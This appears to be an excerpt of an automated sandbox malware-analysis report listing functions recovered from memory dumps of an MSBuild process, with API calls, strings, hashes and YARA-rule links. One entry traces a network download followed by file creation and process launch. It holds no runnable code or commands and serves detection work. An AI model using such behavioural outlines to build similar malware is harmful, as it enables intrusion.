Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: deaa92a316897cb651ba27a62312599bb7a82c486fd6e209b5b1520d773947c4
Instruction ID: fa6adf186debec1efa909f0637cf40a2ece2345500b7494989bec7bb717693a3
Opcode Fuzzy Hash: deaa92a316897cb651ba27a62312599bb7a82c486fd6e209b5b1520d773947c4
Instruction Fuzzy Hash: 96E030767006089BDA10EFA8DC8589677ACEE892703150525E791C3700D231F905CBA1

Function 6CAF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAF85D3

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAF8725

Strings

map/set<T> too long, xrefs: 6CAF8720

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 69bfa43781e75c03c52d7e3bb6ad1beb9d6e2ef640de1f6adb1df464f7909dcf
Instruction ID: 3dc3fe9db089b520131551ff6f43edb29854660a136ff22f42e354ca45105a8a
Opcode Fuzzy Hash: 69bfa43781e75c03c52d7e3bb6ad1beb9d6e2ef640de1f6adb1df464f7909dcf
Instruction Fuzzy Hash: A25167746046818FD741CF1AC184B99BBF1BF4A318F18C19AE8695BB52C335F886CF91

Function 00412BF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

_memset.LIBCMT ref: 00412CDF
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436710), ref: 00412D31

Strings

.exe, xrefs: 00412C3C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: d7da8e02d0e8d8ed0478b8530d5419cd36353aa48a2fc0a0fd73fe35502d9329
Instruction ID: 607805de85d34077ac8010c86c96324dc0739edf941e59843d4d701679f3259e
Opcode Fuzzy Hash: d7da8e02d0e8d8ed0478b8530d5419cd36353aa48a2fc0a0fd73fe35502d9329
Instruction Fuzzy Hash: A3417372E00109BBDF11FBA6ED42ACE7775AF44308F510076F500B7191DAB86E8A8BD9

Function 6CC14D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC14D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CC14DE6

Strings

%d.%d, xrefs: 6CC14DDE

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 4bdb2629edbaf0d0f351b7d799b5760c60f93bd1deb96f5589d1e54c043c9f4d
Instruction ID: c62b0a8b676464cff6d58b4076692740c2e5693e352b49e53aa139c6843b6ab9
Opcode Fuzzy Hash: 4bdb2629edbaf0d0f351b7d799b5760c60f93bd1deb96f5589d1e54c043c9f4d
Instruction Fuzzy Hash: 3E31A9B2D082196BFB50AB62DC05BFF7768EF41308F050469ED159BB41FB709905CBA1

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 5bd3c72e2a2c28d7f98c1eadb8a5e2855416913c1cc93355d95e2efce2546025
Instruction ID: b8e333327a8be3efb5a61452340683a7f3e77127bc94f8cc85e467c2da99d15f
Opcode Fuzzy Hash: 5bd3c72e2a2c28d7f98c1eadb8a5e2855416913c1cc93355d95e2efce2546025
Instruction Fuzzy Hash: B611A375300201ABDB24DF2DD941929B369FF85354714413FF801ABBC2C779ED69C69A

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction ID: 1c9963d8e1bd3712552ddde0994ffc3eb950a7432bc1cc1e62e4a2615aecff81
Opcode Fuzzy Hash: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction Fuzzy Hash: 5A11A572910108FFCB10CFA5CD848DEBB7AFE05361B21026BEA11A21A0D7769E81DA54

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: 11bcbbf4e3385ff2571c5c45c4b2439a3f96e274cabb5125d6892df765bbcaf0
Instruction ID: 943bf7d0d5a8fabe028b1a780fc3b1132d50164a8b8b874ee1f3eb6896142e72
Opcode Fuzzy Hash: 11bcbbf4e3385ff2571c5c45c4b2439a3f96e274cabb5125d6892df765bbcaf0
Instruction Fuzzy Hash: 0611E131304210EBDB24DE6CD9809697365AF45324744067BF815EFAC2C33CED458B9A

Function 6CAE3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAE3D6C

Strings

d, xrefs: 6CAE3D58

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e543cab944f302ef0362e082f8a4eace367d96cdb61960366584def6b7fc0568
Instruction ID: aeee38e8372f2b696c83ee1b01bb4df266662dec67b33b389a9bb51bda013341
Opcode Fuzzy Hash: e543cab944f302ef0362e082f8a4eace367d96cdb61960366584def6b7fc0568
Instruction Fuzzy Hash: 58113431E04688D7DF018B6AC8554FDB375EF9A218B498618DC849BA22FB34A5C8C3D0

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,74DF0440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 8d6f190ab6b2ba40715b33eca56b8a5e9ffc43c45ee1a123cf25a47b4358ef61
Instruction ID: af76378122cbc654785c4284bc1f2564db1dd501434687a4ca840133f71d0007
Opcode Fuzzy Hash: 8d6f190ab6b2ba40715b33eca56b8a5e9ffc43c45ee1a123cf25a47b4358ef61
Instruction Fuzzy Hash: 4601AD713107418BD7348E7899C491FB2A2EB85B20730493ED982D7B85DB7CE84E8798

Function 004282E9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 004282FE
__invoke_watson.LIBCMT ref: 00428352

Part of subcall function 0042818D: _strcat_s.LIBCMT ref: 004281AC

Strings

,NC, xrefs: 0042833D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 6e4e6a371cba90ef9ebeeb0ca97326c2cbf7688855193e91cf68080b76189653
Instruction ID: 9fd3745167120440bfdedbbf8520646eac0ac106fd9ee082a2a4634a1cd760c1
Opcode Fuzzy Hash: 6e4e6a371cba90ef9ebeeb0ca97326c2cbf7688855193e91cf68080b76189653
Instruction Fuzzy Hash: 9EF0F4725412187FDB116EA09C43EEF3B5AAF00354F88805AFD1886191DA379D60C754

Function 0042818D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcat_s.LIBCMT ref: 004281AC
__invoke_watson.LIBCMT ref: 004281C8

Strings

`8C, xrefs: 0042819E, 004281A4

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_s
String ID: `8C
API String ID: 228796091-1339866851
Opcode ID: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction ID: d641333d3b05eb37c220185af6f0ca3676d28bda76794771061db1e67d1cdd83
Opcode Fuzzy Hash: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction Fuzzy Hash: D9E09273601219ABDB111E56EC419EF7719FFC0368B45043AFD1852001DB3699A29694

Function 6CB06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB06E22
__Init_thread_footer.LIBCMT ref: 6CB06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB06E1D

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 7915c9a92da25990531da33111ddfb3de786ee4445bcfeab38e4235602fdc31c
Instruction ID: 2aa1d6554739e53892e89699138ef5d19eaea87dcc70b9707aff371d581ae9b2
Opcode Fuzzy Hash: 7915c9a92da25990531da33111ddfb3de786ee4445bcfeab38e4235602fdc31c
Instruction Fuzzy Hash: 48F0B4757053C08BEB028B68CA50EB67B72D713628F040165C80547F51D739F986CB93

Function 0041F4D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F50E
DName::DName.LIBCMT ref: 0041F51A

Strings

{flat}, xrefs: 0041F509

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction ID: 71cdc5086ad98bd25e234238e95b4002ba9000919263a4584fe9e931f4e7c874
Opcode Fuzzy Hash: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction Fuzzy Hash: 84F0A031144208AFCB10EF58D415BE53BA1AF4575AF08805AF94C4F393D774E8C2C799

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: 7d61576bc23e6c09f31e39ad3bd34650203f811b8cd45cb545fdcfe0ae16857c
Instruction ID: 7279cf6f1f22d2a2ba8e3215006abc5fc6e9ec8f7915935b92b5a6e75ca34a4d
Opcode Fuzzy Hash: 7d61576bc23e6c09f31e39ad3bd34650203f811b8cd45cb545fdcfe0ae16857c
Instruction Fuzzy Hash: 8EE0E0F1D1020C9BDB14DFA5E946F5DB7F89B04704F5000299A05E7181E678BB098B59

Function 6CB0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAB0A4D), ref: 6CB0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAB0A4D), ref: 6CB0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAB0A4D), ref: 6CB0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAB0A4D), ref: 6CB0B67F

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: e447b424f537d45496b7c190f9811923baef342af7fb1b7798c545a5bf2e4486
Instruction ID: 617cdefaaa2bed18f5928248670aebe666acbf2c60e421179af99a2557845a1d
Opcode Fuzzy Hash: e447b424f537d45496b7c190f9811923baef342af7fb1b7798c545a5bf2e4486
Instruction Fuzzy Hash: D131C671B012168FEB10CF58C8546AAFBF9FF81314F168569C80A9B701DB31E915CBE1

Function 6CC20DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CC20DF5
TlsGetValue.KERNEL32 ref: 6CC20E2D
